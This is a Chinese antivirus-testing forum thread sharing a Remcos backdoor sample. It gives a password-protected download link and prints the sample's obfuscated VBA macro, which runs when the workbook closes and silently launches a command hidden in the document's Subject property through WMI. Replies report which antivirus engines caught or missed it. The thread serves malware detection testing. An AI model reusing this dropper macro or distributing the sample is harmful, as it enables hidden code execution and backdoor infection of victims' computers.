#Remcos #Backdoor VT:7/58

显示全部楼层 · 发表于 2020-2-6 17:08:49

下载:https://www.lanzous.com/i93n8xg 密码:1epj

Private Sub Workbook_BeforeClose(Cancel As Boolean)
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
Worksheets(1).Activate
Dim p As DocumentProperty
For Each p In ActiveWorkbook.BuiltinDocumentProperties
If p.Name = "Subject" Then
At (p.Value)
End If
Next
End Sub
Function At(Str As String)
A = Array("winmgmts:Win32_Process", "winmgmts:Win32_ProcessStartup", "Create")
Set oProcess = CreateObject(A(0))
Set objStartup = CreateObject(A(1))
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = 0
Set oInParams = oProcess.Methods_(A(2)). _
InParameters.SpawnInstance_
oInParams.CommandLine = Str
oInParams.ProcessStartupInformation = objConfig
Set oOutParams = oProcess.ExecMethod_(A(2), oInParams)
End Function

复制代码

显示全部楼层 · 发表于 2020-2-6 17:10:50

本帖最后由 2605276004x 于 2020-2-6 17:12 编辑

没看到上面有，抱歉

360SAFE
类型:木马-Generic/Trojan.Dropper.be6
描述:木马是一种伪装成正常文件的恶意软件，会盗取您的帐号、密码等隐私资料。
扫描引擎:云安全引擎
文件路径:C:\Users\Administrator\Desktop\73c0b2815d1c30f669b9c0780d8c387d7e0bddea5d427878019068c55a6e94e9\73c0b2815d1c30f669b9c0780d8c387d7e0bddea5d427878019068c55a6e94e9.xls
文件大小:33K (33,792 字节)
文件指纹（MD5）:f5df4770e15b0cf0db28b9d0046ba2b0
数字签名:
数字签名是否有效:无效
处理建议:隔离文件

显示全部楼层 · 发表于 2020-2-6 17:19:36

Avast Miss

显示全部楼层 · 发表于 2020-2-6 17:21:18

BD扫描miss

显示全部楼层 · 发表于 2020-2-6 17:43:39

火绒扫描miss

显示全部楼层 · 发表于 2020-2-6 17:50:35

卡巴kill

显示全部楼层 · 发表于 2020-2-6 17:53:45

MES扫描miss
双击因为office前段时间被破坏无法测试

显示全部楼层 · 发表于 2020-2-6 17:54:06

提示: 该帖被管理员或版主屏蔽

显示全部楼层 · 发表于 2020-2-6 17:56:18

提示: 该帖被管理员或版主屏蔽

显示全部楼层 · 发表于 2020-2-6 18:24:43

本帖最后由 wow999 于 2020-2-6 18:25 编辑

ESET Miss 家里电脑因为是实体机没有双击

FD丶纸鸢头像被屏蔽	发表于 2020-2-6 17:54:06 \| 显示全部楼层提示: 该帖被管理员或版主屏蔽
FD丶纸鸢头像被屏蔽
	回复举报

FD丶纸鸢头像被屏蔽	发表于 2020-2-6 17:56:18 \| 显示全部楼层提示: 该帖被管理员或版主屏蔽
FD丶纸鸢头像被屏蔽
	回复举报

[病毒样本] #Remcos #Backdoor VT:7/58

本帖子中包含更多资源

本帖子中包含更多资源